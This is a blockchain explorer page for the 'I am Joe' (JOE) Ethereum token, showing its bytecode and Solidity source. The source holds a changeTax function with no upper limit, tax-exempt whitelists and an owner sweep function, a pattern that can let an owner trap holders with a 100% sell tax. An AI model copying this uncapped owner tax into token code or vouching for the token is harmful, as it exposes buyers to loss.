Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xD09FaBf5B50Bf3FaC318F7ABf9F5a064E361749A
Balance 0 ETH
Nonce 1
Code Size 10531 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

10531 bytes
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c650812b1161006f578063c650812b146103ff578063c9567bf914610428578063cc1776d31461043f578063dd62ed3e1461046a578063f2fde38b146104a7578063fd4378ec146104d057610135565b80638da5cb5b1461031a5780639036ed4d1461034557806395d89b411461036e578063a9059cbb14610399578063af612709146103d657610135565b80634f7041a5116100f25780634f7041a5146102355780636bfdd2481461026057806370a0823114610289578063715018a6146102c6578063762235f7146102dd57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104f9565b60405161015c9190611d57565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611e17565b610536565b6040516101999190611e72565b60405180910390f35b3480156101ae57600080fd5b506101b7610554565b6040516101c49190611e9c565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611eb7565b610568565b6040516102019190611e72565b60405180910390f35b34801561021657600080fd5b5061021f610620565b60405161022c9190611f26565b60405180910390f35b34801561024157600080fd5b5061024a610629565b6040516102579190611e9c565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611fa6565b61062f565b005b34801561029557600080fd5b506102b060048036038101906102ab9190611ff3565b610769565b6040516102bd9190611e9c565b60405180910390f35b3480156102d257600080fd5b506102db6107b2565b005b3480156102e957600080fd5b5061030460048036038101906102ff919061204c565b610905565b6040516103119190611e9c565b60405180910390f35b34801561032657600080fd5b5061032f61095c565b60405161033c9190612088565b60405180910390f35b34801561035157600080fd5b5061036c600480360381019061036791906120a3565b610985565b005b34801561037a57600080fd5b50610383610a2c565b6040516103909190611d57565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190611e17565b610a69565b6040516103cd9190611e72565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f89190611ff3565b610a87565b005b34801561040b57600080fd5b5061042660048036038101906104219190611ff3565b610c98565b005b34801561043457600080fd5b5061043d610d88565b005b34801561044b57600080fd5b50610454610e42565b6040516104619190611e9c565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c91906120e3565b610e48565b60405161049e9190611e9c565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190611ff3565b610ecf565b005b3480156104dc57600080fd5b506104f760048036038101906104f29190611ff3565b610f70565b005b60606040518060400160405280600881526020017f4920616d204a6f65000000000000000000000000000000000000000000000000815250905090565b600061054a610543611060565b8484611068565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610575848484611231565b61061584610581611060565b84600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cb611060565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106109190612152565b611068565b600190509392505050565b60006012905090565b60025481565b610637611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bb906121d2565b60405180910390fd5b60005b82829050811015610764576001600860008585858181106106eb576106ea6121f2565b5b90506020020160208101906107009190611ff3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075c90612221565b9150506106c7565b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ba611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083e906121d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081156109345743600a60055461091d9190612269565b1161092a5760025461092d565b605a5b9050610957565b43600a6005546109449190612269565b1161095157600354610954565b605a5b90505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61098d611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a11906121d2565b60405180910390fd5b81600281905550806003819055505050565b60606040518060400160405280600381526020017f4a4f450000000000000000000000000000000000000000000000000000000000815250905090565b6000610a7d610a76611060565b8484611231565b6001905092915050565b610a8f611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b13906121d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b9c573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b96573d6000803e3d6000fd5b50610c95565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bf29190612088565b602060405180830381865afa158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3391906122b2565b6040518363ffffffff1660e01b8152600401610c509291906122df565b6020604051808303816000875af1158015610c6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c93919061231d565b505b50565b610ca0611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d24906121d2565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d90611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e14906121d2565b60405180910390fd5b6001600460006101000a81548160ff021916908360ff16021790555043600581905550565b60035481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ed7611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b906121d2565b60405180910390fd5b610f6d81611b9b565b50565b610f78611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906121d2565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce906123bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d9061244e565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112249190611e9c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124e0565b60405180910390fd5b633b9aca0081116112e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dd9061254c565b60405180910390fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113895750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611397576000905061187b565b6000600460009054906101000a900460ff1660ff16036113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e3906125b8565b60405180910390fd5b6001600460019054906101000a900460ff1660ff160361151d5781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114559190612152565b9250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114ab9190612269565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150f9190611e9c565b60405180910390a350611b96565b7f000000000000000000000000cfe6b753a73600227fa33f1fe1eb602ca0dd663a73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115815761157a6001610905565b905061187a565b7f000000000000000000000000cfe6b753a73600227fa33f1fe1eb602ca0dd663a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611874576000600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905069152d02c7e14af68000008111801561164357506000600460019054906101000a900460ff1660ff16145b156118625769d3c21bcecceda10000008111156116685769d3c21bcecceda100000090505b6001600460016101000a81548160ff021916908360ff1602179055506000600267ffffffffffffffff8111156116a1576116a06125d8565b5b6040519080825280602002602001820160405280156116cf5781602001602082028036833780820191505090505b50905030816000815181106116e7576116e66121f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611756576117556121f2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947836000847f000000000000000000000000f7227f0a2fccb3f2981b08ae6a7efab9d182498e426040518663ffffffff1660e01b815260040161181295949392919061275f565b600060405180830381600087803b15801561182c57600080fd5b505af1158015611840573d6000803e3d6000fd5b505050506000600460016101000a81548160ff021916908360ff160217905550505b61186c6000610905565b915050611879565b600090505b5b5b60008114611a825760006064828461189391906127b9565b61189d919061282a565b9050600081846118ad9190612152565b905083600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118fe9190612152565b9250508190555080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119549190612269565b9250508190555081600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119aa9190612269565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0e9190611e9c565b60405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a739190611e9c565b60405180910390a35050611b94565b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ad19190612152565b9250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b279190612269565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8b9190611e9c565b60405180910390a35b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c01906128cd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d01578082015181840152602081019050611ce6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d2982611cc7565b611d338185611cd2565b9350611d43818560208601611ce3565b611d4c81611d0d565b840191505092915050565b60006020820190508181036000830152611d718184611d1e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611dae82611d83565b9050919050565b611dbe81611da3565b8114611dc957600080fd5b50565b600081359050611ddb81611db5565b92915050565b6000819050919050565b611df481611de1565b8114611dff57600080fd5b50565b600081359050611e1181611deb565b92915050565b60008060408385031215611e2e57611e2d611d79565b5b6000611e3c85828601611dcc565b9250506020611e4d85828601611e02565b9150509250929050565b60008115159050919050565b611e6c81611e57565b82525050565b6000602082019050611e876000830184611e63565b92915050565b611e9681611de1565b82525050565b6000602082019050611eb16000830184611e8d565b92915050565b600080600060608486031215611ed057611ecf611d79565b5b6000611ede86828701611dcc565b9350506020611eef86828701611dcc565b9250506040611f0086828701611e02565b9150509250925092565b600060ff82169050919050565b611f2081611f0a565b82525050565b6000602082019050611f3b6000830184611f17565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611f6657611f65611f41565b5b8235905067ffffffffffffffff811115611f8357611f82611f46565b5b602083019150836020820283011115611f9f57611f9e611f4b565b5b9250929050565b60008060208385031215611fbd57611fbc611d79565b5b600083013567ffffffffffffffff811115611fdb57611fda611d7e565b5b611fe785828601611f50565b92509250509250929050565b60006020828403121561200957612008611d79565b5b600061201784828501611dcc565b91505092915050565b61202981611e57565b811461203457600080fd5b50565b60008135905061204681612020565b92915050565b60006020828403121561206257612061611d79565b5b600061207084828501612037565b91505092915050565b61208281611da3565b82525050565b600060208201905061209d6000830184612079565b92915050565b600080604083850312156120ba576120b9611d79565b5b60006120c885828601611e02565b92505060206120d985828601611e02565b9150509250929050565b600080604083850312156120fa576120f9611d79565b5b600061210885828601611dcc565b925050602061211985828601611dcc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061215d82611de1565b915061216883611de1565b92508282039050818111156121805761217f612123565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121bc602083611cd2565b91506121c782612186565b602082019050919050565b600060208201905081810360008301526121eb816121af565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061222c82611de1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361225e5761225d612123565b5b600182019050919050565b600061227482611de1565b915061227f83611de1565b925082820190508082111561229757612296612123565b5b92915050565b6000815190506122ac81611deb565b92915050565b6000602082840312156122c8576122c7611d79565b5b60006122d68482850161229d565b91505092915050565b60006040820190506122f46000830185612079565b6123016020830184611e8d565b9392505050565b60008151905061231781612020565b92915050565b60006020828403121561233357612332611d79565b5b600061234184828501612308565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123a6602483611cd2565b91506123b18261234a565b604082019050919050565b600060208201905081810360008301526123d581612399565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612438602283611cd2565b9150612443826123dc565b604082019050919050565b600060208201905081810360008301526124678161242b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124ca602583611cd2565b91506124d58261246e565b604082019050919050565b600060208201905081810360008301526124f9816124bd565b9050919050565b7f4d696e207472616e7366657220616d7400000000000000000000000000000000600082015250565b6000612536601083611cd2565b915061254182612500565b602082019050919050565b6000602082019050818103600083015261256581612529565b9050919050565b7f4c61756e63680000000000000000000000000000000000000000000000000000600082015250565b60006125a2600683611cd2565b91506125ad8261256c565b602082019050919050565b600060208201905081810360008301526125d181612595565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b600061263661263161262c84612607565b612611565b611de1565b9050919050565b6126468161261b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61268181611da3565b82525050565b60006126938383612678565b60208301905092915050565b6000602082019050919050565b60006126b78261264c565b6126c18185612657565b93506126cc83612668565b8060005b838110156126fd5781516126e48882612687565b97506126ef8361269f565b9250506001810190506126d0565b5085935050505092915050565b600061272561272061271b84611d83565b612611565b611d83565b9050919050565b60006127378261270a565b9050919050565b60006127498261272c565b9050919050565b6127598161273e565b82525050565b600060a0820190506127746000830188611e8d565b612781602083018761263d565b818103604083015261279381866126ac565b90506127a26060830185612750565b6127af6080830184611e8d565b9695505050505050565b60006127c482611de1565b91506127cf83611de1565b92508282026127dd81611de1565b915082820484148315176127f4576127f3612123565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061283582611de1565b915061284083611de1565b9250826128505761284f6127fb565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006128b7602683611cd2565b91506128c28261285b565b604082019050919050565b600060208201905081810360008301526128e6816128aa565b905091905056fea26469706673582212206953cdb1eb59ffb5d0eef73ee0d9e32b871d803c2f60081295adfaf74dc45e5e64736f6c63430008120033

Verified Source Code Partial Match

Compiler: v0.8.18+commit.87f61d96 EVM: paris Optimization: No
IamJoeToken.sol 356 lines
/**

We are all Joes.

Website: https://boonamai.com
Twitter: https://twitter.com/Boonamai_web3
Telegram: https://t.me/boonamai
Discord: https://discord.com/invite/Dw4aFdjsHg                     

**/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract IamJoeToken is Context, IERC20, Ownable {
    uint256 private constant _totalSupply = 1_000_000_000e18;
    uint256 private constant minSwap = 100_000e18;
    uint256 private constant oneMilly = 1_000_000e18;
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address immutable uniswapV2Pair;
    address immutable WETH;
    address payable immutable marketingWallet;

    uint256 public buyTax;
    uint256 public sellTax;

    uint8 private launch;
    uint8 private inSwapAndLiquify;

    uint256 private launchBlock;

    string private constant _name = "I am Joe";
    string private constant _symbol = "JOE";

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _ogJoes;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        WETH = uniswapV2Router.WETH();
        buyTax = 0;
        sellTax = 10;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        marketingWallet = payable(0xf7227f0A2fccB3f2981B08Ae6A7efAb9d182498E);
        _balance[msg.sender] = _totalSupply;
        _ogJoes[marketingWallet] = true;
        _ogJoes[msg.sender] = true;
        _ogJoes[address(this)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256)
            .max;
        _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;
        _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)
            .max;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() external onlyOwner {
        launch = 1;
        launchBlock = block.number;
    }

    function addJoe(address wallet) external onlyOwner {
        _ogJoes[wallet] = true;
    }

    function removeJoe(address wallet) external onlyOwner {
        _ogJoes[wallet] = false;
    }

    function addJoes(address[] calldata wallets) external onlyOwner {
        for(uint i = 0; i < wallets.length; i++) {
            _ogJoes[wallets[i]] = true;
        }
    }

    function changeTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 1e9, "Min transfer amt");

        uint256 _tax;
        if (_ogJoes[from] || _ogJoes[to]) {
            _tax = 0;
        } else {
            require(
                launch != 0,
                "Launch"
            );

            if (inSwapAndLiquify == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                _tax = getTax(true);
            } else if (to == uniswapV2Pair) {
                uint256 tokensToSwap = _balance[address(this)];
                if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {
                    if (tokensToSwap > oneMilly) {
                        tokensToSwap = oneMilly;
                    }
                    inSwapAndLiquify = 1;
                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensToSwap,
                            0,
                            path,
                            marketingWallet,
                            block.timestamp
                        );
                    inSwapAndLiquify = 0;
                }
                _tax = getTax(false);
            } else {
                _tax = 0;
            }
        }

        //Is there tax for sender|receiver?
        if (_tax != 0) {
            //Tax transfer
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;

            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}

    function recoverJoes(address token) external onlyOwner {
        if (token == address(0))
            payable(msg.sender).transfer(address(this).balance);
        else
            IERC20(token).transfer(
                msg.sender,
                IERC20(token).balanceOf(address(this))
            );
    }

    function getTax(bool isBuy) public view returns (uint256) {
        if(isBuy) {
            return launchBlock + 10 > block.number ? 90 : buyTax;
        }

        return launchBlock + 10 > block.number ? 90 : sellTax;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyTax 0x4f7041a5 → uint256
decimals 0x313ce567 → uint8
getTax 0x762235f7 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellTax 0xcc1776d3 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

addJoe 0xc650812b
address wallet
addJoes 0x6bfdd248
address[] wallets
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeTax 0x9036ed4d
uint256 newBuyTax
uint256 newSellTax
openTrading 0xc9567bf9
No parameters
recoverJoes 0xaf612709
address token
removeJoe 0xfd4378ec
address wallet
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address